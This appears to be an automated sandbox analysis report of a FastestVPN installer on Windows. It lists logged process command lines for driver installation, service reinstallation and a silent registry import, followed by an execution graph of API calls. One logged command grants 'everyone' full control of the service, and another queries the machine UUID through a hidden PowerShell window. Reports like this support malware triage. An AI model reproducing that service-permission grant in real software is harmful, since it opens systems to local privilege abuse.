                                                                                                                    MD5 hash:227F63E1D9008B36BDBCC4B397780BE4
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:29
                                                                                                                    Start time:04:16:20
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\find.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:find /i "Windows 7"
                                                                                                                    Imagebase:0x7ff659a50000
                                                                                                                    File size:17'920 bytes
                                                                                                                    MD5 hash:4BF76A28D31FC73AA9FC970B22D056AF
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:30
                                                                                                                    Start time:04:16:21
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\xcopy.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:xcopy /y driver\windows8\amd64\fastestvpndriver.sys C:\Windows\system32\drivers
                                                                                                                    Imagebase:0x7ff6e7290000
                                                                                                                    File size:50'688 bytes
                                                                                                                    MD5 hash:39FBFD3AF58238C6F9D4D408C9251FF5
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:31
                                                                                                                    Start time:04:16:21
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:release\nfregdrv.exe -u fastestvpndriver
                                                                                                                    Imagebase:0x400000
                                                                                                                    File size:61'064 bytes
                                                                                                                    MD5 hash:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:32
                                                                                                                    Start time:04:16:21
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"powershell" -windowstyle hidden get-wmiobject Win32_ComputerSystemProduct | Select-Object -ExpandProperty UUID
                                                                                                                    Imagebase:0xe60000
                                                                                                                    File size:433'152 bytes
                                                                                                                    MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                                    Has elevated privileges:false
                                                                                                                    Has administrator privileges:false
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:33
                                                                                                                    Start time:04:16:21
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:false
                                                                                                                    Has administrator privileges:false
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:34
                                                                                                                    Start time:04:16:21
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                    Imagebase:0x7ff67e6d0000
                                                                                                                    File size:55'320 bytes
                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:false

                                                                                                                    General

                                                                                                                    Target ID:35
                                                                                                                    Start time:04:16:22
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:release\nfregdrv.exe fastestvpndriver
                                                                                                                    Imagebase:0x400000
                                                                                                                    File size:61'064 bytes
                                                                                                                    MD5 hash:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:36
                                                                                                                    Start time:04:16:22
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\sc.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:"C:\Windows\system32\sc.exe" stop FastestVPNService
                                                                                                                    Imagebase:0x7ff786010000
                                                                                                                    File size:72'192 bytes
                                                                                                                    MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:37
                                                                                                                    Start time:04:16:22
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:38
                                                                                                                    Start time:04:16:24
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --uninstall
                                                                                                                    Imagebase:0x550000
                                                                                                                    File size:25'768 bytes
                                                                                                                    MD5 hash:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:39
                                                                                                                    Start time:04:16:24
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                    Imagebase:0x7ff67e6d0000
                                                                                                                    File size:55'320 bytes
                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:false

                                                                                                                    General

                                                                                                                    Target ID:40
                                                                                                                    Start time:04:16:24
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5616 -ip 5616
                                                                                                                    Imagebase:0x380000
                                                                                                                    File size:483'680 bytes
                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:41
                                                                                                                    Start time:04:16:24
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 1076
                                                                                                                    Imagebase:0x380000
                                                                                                                    File size:483'680 bytes
                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:42
                                                                                                                    Start time:04:16:25
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\svchost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                    Imagebase:0x7ff67e6d0000
                                                                                                                    File size:55'320 bytes
                                                                                                                    MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:false

                                                                                                                    General

                                                                                                                    Target ID:43
                                                                                                                    Start time:04:16:33
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\sc.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:"C:\Windows\system32\sc.exe" delete FastestVPNService
                                                                                                                    Imagebase:0x7ff786010000
                                                                                                                    File size:72'192 bytes
                                                                                                                    MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:44
                                                                                                                    Start time:04:16:33
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:45
                                                                                                                    Start time:04:16:33
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe" --install
                                                                                                                    Imagebase:0xfe0000
                                                                                                                    File size:25'768 bytes
                                                                                                                    MD5 hash:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:46
                                                                                                                    Start time:04:16:34
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\subinacl.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Program Files\FastestVPN\subinacl.exe" /service FastestVPNService /GRANT=everyone=TO
                                                                                                                    Imagebase:0x1000000
                                                                                                                    File size:301'224 bytes
                                                                                                                    MD5 hash:4798226EE22C513302EE57D3AA94398B
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:47
                                                                                                                    Start time:04:16:35
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:48
                                                                                                                    Start time:04:16:36
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\sc.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:"C:\Windows\system32\sc.exe" start FastestVPNService
                                                                                                                    Imagebase:0x7ff786010000
                                                                                                                    File size:72'192 bytes
                                                                                                                    MD5 hash:3FB5CF71F7E7EB49790CB0E663434D80
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:49
                                                                                                                    Start time:04:16:36
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:50
                                                                                                                    Start time:04:16:36
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    Wow64 process (32bit):true
                                                                                                                    Commandline:"C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe"
                                                                                                                    Imagebase:0x740000
                                                                                                                    File size:25'768 bytes
                                                                                                                    MD5 hash:22D4E4267DFE093E5E23C2F3D7741AA4
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:false

                                                                                                                    General

                                                                                                                    Target ID:51
                                                                                                                    Start time:04:16:36
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:"C:\Windows\system32\cmd.exe" /c regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
                                                                                                                    Imagebase:0x7ff7f61d0000
                                                                                                                    File size:289'792 bytes
                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:52
                                                                                                                    Start time:04:16:36
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                    File size:862'208 bytes
                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    General

                                                                                                                    Target ID:53
                                                                                                                    Start time:04:16:37
                                                                                                                    Start date:03/10/2024
                                                                                                                    Path:C:\Windows\regedit.exe
                                                                                                                    Wow64 process (32bit):false
                                                                                                                    Commandline:regedit /s "C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.reg"
                                                                                                                    Imagebase:0x7ff6c7530000
                                                                                                                    File size:370'176 bytes
                                                                                                                    MD5 hash:999A30979F6195BF562068639FFC4426
                                                                                                                    Has elevated privileges:true
                                                                                                                    Has administrator privileges:true
                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                    Has exited:true

                                                                                                                    Disassembly

                                                                                                                    Reset < >

                                                                                                                      Execution Graph

                                                                                                                      Execution Coverage:1.5%
                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                      Signature Coverage:24.8%
                                                                                                                      Total number of Nodes:214
                                                                                                                      Total number of Limit Nodes:4
                                                                                                                      execution_graph 33672 7ff76a6d789c 33695 7ff76a6d8414 33672->33695 33677 7ff76a6d78d1 __scrt_acquire_startup_lock 33680 7ff76a6d7a11 33677->33680 33686 7ff76a6d78ef __scrt_release_startup_lock 33677->33686 33678 7ff76a6d7a07 33744 7ff76a6d8550 7 API calls 2 library calls 33678->33744 33745 7ff76a6d8550 7 API calls 2 library calls 33680->33745 33682 7ff76a6d7914 33683 7ff76a6d7a1c _purecall 33684 7ff76a6d799a 33706 7ff76a701234 33684->33706 33686->33682 33686->33684 33741 7ff76a701788 37 API calls __InternalCxxFrameHandler 33686->33741 33688 7ff76a6d799f 33712 7ff76a6d52e0 33688->33712 33692 7ff76a6d79c3 33692->33683 33743 7ff76a6d82dc 8 API calls __vcrt_uninitialize 33692->33743 33694 7ff76a6d79da 33694->33682 33696 7ff76a6d78a5 33695->33696 33697 7ff76a6d8437 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter 33695->33697 33698 7ff76a6d8124 33696->33698 33697->33696 33699 7ff76a6d8146 33698->33699 33746 7ff76a6d9184 33699->33746 33705 7ff76a6d78c9 33705->33677 33705->33678 33707 7ff76a701244 33706->33707 33708 7ff76a701259 33706->33708 33707->33708 33795 7ff76a700930 34 API calls Concurrency::details::_Concurrent_queue_iterator_base_v4::~_Concurrent_queue_iterator_base_v4 33707->33795 33708->33688 33710 7ff76a701262 33710->33708 33796 7ff76a700d90 15 API calls 3 library calls 33710->33796 33713 7ff76a6d532b 33712->33713 33714 7ff76a6d5336 CharNextW 33713->33714 33718 7ff76a6d5330 33713->33718 33714->33718 33715 7ff76a6d5442 33716 7ff76a6d547f CharNextW 33715->33716 33717 7ff76a6d5455 33715->33717 33721 7ff76a6d548b 33715->33721 33716->33721 33832 7ff76a6d4770 FormatMessageW 33717->33832 33718->33715 33729 7ff76a6ff4f0 33 API calls 33718->33729 33739 7ff76a6ff44c 31 API calls 33718->33739 33721->33717 33722 7ff76a6d551c 33721->33722 33797 7ff76a6e676c 33721->33797 33814 7ff76a6d28b0 33722->33814 33726 7ff76a6d54e9 33838 7ff76a6d76e0 33726->33838 33727 7ff76a6d55c2 33727->33726 33732 7ff76a6d55cd GetCurrentProcess OpenProcessToken 33727->33732 33728 7ff76a6d5577 33730 7ff76a6d55a3 33728->33730 33731 7ff76a6d5584 33728->33731 33729->33718 33738 7ff76a6d4770 68 API calls 33730->33738 33737 7ff76a6d4770 68 API calls 33731->33737 33733 7ff76a6d5648 InitiateSystemShutdownExW 33732->33733 33734 7ff76a6d55ea LookupPrivilegeValueW 33732->33734 33733->33726 33735 7ff76a6d5642 CloseHandle 33734->33735 33736 7ff76a6d5607 AdjustTokenPrivileges 33734->33736 33735->33733 33736->33735 33737->33726 33738->33726 33739->33718 33741->33684 33742 7ff76a6d86e4 GetModuleHandleW 33742->33692 33743->33694 33744->33680 33745->33683 33747 7ff76a6d918d __vcrt_initialize_winapi_thunks __vcrt_initialize 33746->33747 33759 7ff76a6d9d08 33747->33759 33751 7ff76a6d91a4 33752 7ff76a6d814b 33751->33752 33766 7ff76a6d9d6c DeleteCriticalSection 33751->33766 33752->33705 33754 7ff76a704568 33752->33754 33755 7ff76a715814 33754->33755 33756 7ff76a6d8158 33755->33756 33783 7ff76a709fb0 33755->33783 33756->33705 33758 7ff76a6d91e0 8 API calls 3 library calls 33756->33758 33758->33705 33760 7ff76a6d9d10 33759->33760 33762 7ff76a6d9d41 33760->33762 33763 7ff76a6d9197 33760->33763 33767 7ff76a6da598 33760->33767 33772 7ff76a6d9d6c DeleteCriticalSection 33762->33772 33763->33752 33765 7ff76a6d9c9c 8 API calls 3 library calls 33763->33765 33765->33751 33766->33752 33773 7ff76a6d9fe8 33767->33773 33770 7ff76a6da5e3 InitializeCriticalSectionAndSpinCount 33771 7ff76a6da5d8 33770->33771 33771->33760 33772->33763 33774 7ff76a6da044 try_get_function 33773->33774 33775 7ff76a6da049 33773->33775 33774->33775 33776 7ff76a6da078 LoadLibraryExW 33774->33776 33779 7ff76a6da12c 33774->33779 33781 7ff76a6da111 FreeLibrary 33774->33781 33782 7ff76a6da0d3 LoadLibraryExW 33774->33782 33775->33770 33775->33771 33776->33774 33777 7ff76a6da099 GetLastError 33776->33777 33777->33774 33778 7ff76a6da13a GetProcAddress 33780 7ff76a6da14b 33778->33780 33779->33775 33779->33778 33780->33775 33781->33774 33782->33774 33794 7ff76a711c48 EnterCriticalSection 33783->33794 33785 7ff76a709fc0 33786 7ff76a70ce60 32 API calls 33785->33786 33787 7ff76a709fc9 33786->33787 33788 7ff76a709fd7 33787->33788 33789 7ff76a709db4 34 API calls 33787->33789 33790 7ff76a711ca8 Concurrency::details::SchedulerProxy::DeleteThis LeaveCriticalSection 33788->33790 33791 7ff76a709fd2 33789->33791 33792 7ff76a709fe3 33790->33792 33793 7ff76a709ea4 GetStdHandle GetFileType 33791->33793 33792->33755 33793->33788 33795->33710 33796->33708 33798 7ff76a6e679d 33797->33798 33799 7ff76a6e6779 33797->33799 33802 7ff76a6e67d7 33798->33802 33804 7ff76a6e67f6 33798->33804 33799->33798 33800 7ff76a6e677e 33799->33800 33847 7ff76a706b7c 14 API calls _get_pgmptr 33800->33847 33849 7ff76a706b7c 14 API calls _get_pgmptr 33802->33849 33851 7ff76a6e65d8 37 API calls 2 library calls 33804->33851 33805 7ff76a6e6783 33848 7ff76a7069d0 31 API calls _invalid_parameter_noinfo_noreturn 33805->33848 33806 7ff76a6e67dc 33850 7ff76a7069d0 31 API calls _invalid_parameter_noinfo_noreturn 33806->33850 33810 7ff76a6e678e 33810->33721 33811 7ff76a6e67e7 TranslateName 33811->33721 33812 7ff76a6e6803 33812->33811 33813 7ff76a6ff19c 38 API calls TranslateName 33812->33813 33813->33812 33815 7ff76a6d28e4 33814->33815 33831 7ff76a6d29cc 33814->33831 33816 7ff76a6d28ed LoadStringW 33815->33816 33815->33831 33818 7ff76a6d290e LoadStringW 33816->33818 33816->33831 33817 7ff76a6d76e0 __FrameHandler3::UnwindNestedFrames 8 API calls 33819 7ff76a6d2a2e 33817->33819 33820 7ff76a6d292e LoadStringW 33818->33820 33818->33831 33819->33726 33819->33727 33819->33728 33821 7ff76a6d2951 33820->33821 33820->33831 33852 7ff76a6d41d0 33821->33852 33824 7ff76a6d29d0 33826 7ff76a6d29f2 33824->33826 33828 7ff76a6d29d7 33824->33828 33825 7ff76a6d29ba 33827 7ff76a6d4770 68 API calls 33825->33827 33830 7ff76a6d4770 68 API calls 33826->33830 33827->33831 33829 7ff76a6d4770 68 API calls 33828->33829 33829->33831 33830->33831 33831->33817 33833 7ff76a6d4811 33832->33833 33835 7ff76a6d47c7 33832->33835 33833->33726 33834 7ff76a6d480b LocalFree 33834->33833 33835->33834 33879 7ff76a6e6c8c 33835->33879 33839 7ff76a6d76ea 33838->33839 33840 7ff76a6d550b 33839->33840 33841 7ff76a6d7b50 IsProcessorFeaturePresent 33839->33841 33840->33742 33842 7ff76a6d7b67 33841->33842 33898 7ff76a6d7e54 RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind 33842->33898 33844 7ff76a6d7b7a 33899 7ff76a6d7b18 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 33844->33899 33847->33805 33848->33810 33849->33806 33850->33811 33851->33812 33853 7ff76a6d4254 33852->33853 33856 7ff76a6d425c 33852->33856 33854 7ff76a6d76e0 __FrameHandler3::UnwindNestedFrames 8 API calls 33853->33854 33855 7ff76a6d29ab 33854->33855 33855->33824 33855->33825 33855->33831 33856->33853 33857 7ff76a6d42ac SetupDiClassGuidsFromNameExW 33856->33857 33865 7ff76a6d42dd 33856->33865 33858 7ff76a6d42d2 GetLastError 33857->33858 33857->33865 33863 7ff76a6d42e4 33858->33863 33858->33865 33859 7ff76a6d4464 SetupDiGetClassDevsExW 33868 7ff76a6d44a9 33859->33868 33860 7ff76a6d443e SetupDiCreateDeviceInfoListExW 33860->33868 33861 7ff76a6d43b8 CharNextW 33861->33865 33862 7ff76a6d43d6 CharNextW 33862->33865 33863->33853 33867 7ff76a6d42fd SetupDiDestroyDeviceInfoList 33863->33867 33864 7ff76a6d4516 SetupDiGetDeviceInfoListDetailW 33864->33863 33866 7ff76a6d4532 SetupDiEnumDeviceInfo 33864->33866 33865->33861 33865->33862 33865->33863 33871 7ff76a6d4425 33865->33871 33866->33863 33877 7ff76a6d456a 33866->33877 33867->33853 33868->33863 33868->33864 33869 7ff76a6d44e8 SetupDiOpenDeviceInfoW 33868->33869 33870 7ff76a6d4509 33868->33870 33869->33868 33870->33864 33871->33859 33871->33860 33872 7ff76a6d46ec SetupDiEnumDeviceInfo 33872->33863 33872->33877 33873 7ff76a6d45a9 CM_Get_Device_ID_ExW 33873->33877 33875 7ff76a6d4820 SetupDiGetDeviceRegistryPropertyW GetLastError SetupDiGetDeviceRegistryPropertyW 33875->33877 33876 7ff76a6d50e0 41 API calls 33876->33877 33877->33863 33877->33872 33877->33873 33877->33875 33877->33876 33878 7ff76a6d4f10 41 API calls TranslateName 33877->33878 33878->33877 33880 7ff76a6e6ca3 33879->33880 33881 7ff76a6e6cb8 33879->33881 33895 7ff76a706b7c 14 API calls _get_pgmptr 33880->33895 33881->33880 33883 7ff76a6e6cbd 33881->33883 33888 7ff76a6e6b3c 33883->33888 33884 7ff76a6e6ca8 33896 7ff76a7069d0 31 API calls _invalid_parameter_noinfo_noreturn 33884->33896 33887 7ff76a6d4806 33887->33834 33897 7ff76a6e6b24 EnterCriticalSection 33888->33897 33890 7ff76a6e6b59 33891 7ff76a6e6bfc 64 API calls 33890->33891 33892 7ff76a6e6b62 33891->33892 33893 7ff76a6e6b30 LeaveCriticalSection 33892->33893 33894 7ff76a6e6b6c 33893->33894 33894->33887 33895->33884 33896->33887 33898->33844 33900 7ff76a70154c 33901 7ff76a7015b3 33900->33901 33902 7ff76a701569 GetModuleHandleW 33900->33902 33910 7ff76a701340 33901->33910 33902->33901 33904 7ff76a701576 33902->33904 33904->33901 33924 7ff76a7016e4 GetModuleHandleExW 33904->33924 33906 7ff76a7015f5 33908 7ff76a701607 33930 7ff76a711c48 EnterCriticalSection 33910->33930 33912 7ff76a70135c 33913 7ff76a701434 14 API calls 33912->33913 33914 7ff76a701365 33913->33914 33915 7ff76a711ca8 Concurrency::details::SchedulerProxy::DeleteThis LeaveCriticalSection 33914->33915 33916 7ff76a70136d 33915->33916 33916->33906 33917 7ff76a701608 33916->33917 33931 7ff76a711f40 33917->33931 33920 7ff76a701642 33922 7ff76a7016e4 3 API calls 33920->33922 33921 7ff76a701631 GetCurrentProcess TerminateProcess 33921->33920 33923 7ff76a701649 ExitProcess 33922->33923 33925 7ff76a70170a GetProcAddress 33924->33925 33926 7ff76a701729 33924->33926 33925->33926 33927 7ff76a701721 33925->33927 33928 7ff76a701733 FreeLibrary 33926->33928 33929 7ff76a701739 33926->33929 33927->33926 33928->33929 33929->33901 33932 7ff76a711f5e 33931->33932 33933 7ff76a701615 33931->33933 33935 7ff76a708634 33932->33935 33933->33920 33933->33921 33938 7ff76a7081a8 33935->33938 33939 7ff76a708209 33938->33939 33945 7ff76a708204 try_get_function 33938->33945 33939->33933 33940 7ff76a7082ec 33940->33939 33943 7ff76a7082fa GetProcAddress 33940->33943 33941 7ff76a708238 LoadLibraryExW 33942 7ff76a708259 GetLastError 33941->33942 33941->33945 33942->33945 33944 7ff76a70830b 33943->33944 33944->33939 33945->33939 33945->33940 33945->33941 33946 7ff76a7082d1 FreeLibrary 33945->33946 33947 7ff76a708293 LoadLibraryExW 33945->33947 33946->33945 33947->33945

                                                                                                                      Executed Functions

                                                                                                                      Function 00007FF76A6D41D0 Relevance: 18.3, APIs: 12, Instructions: 338COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
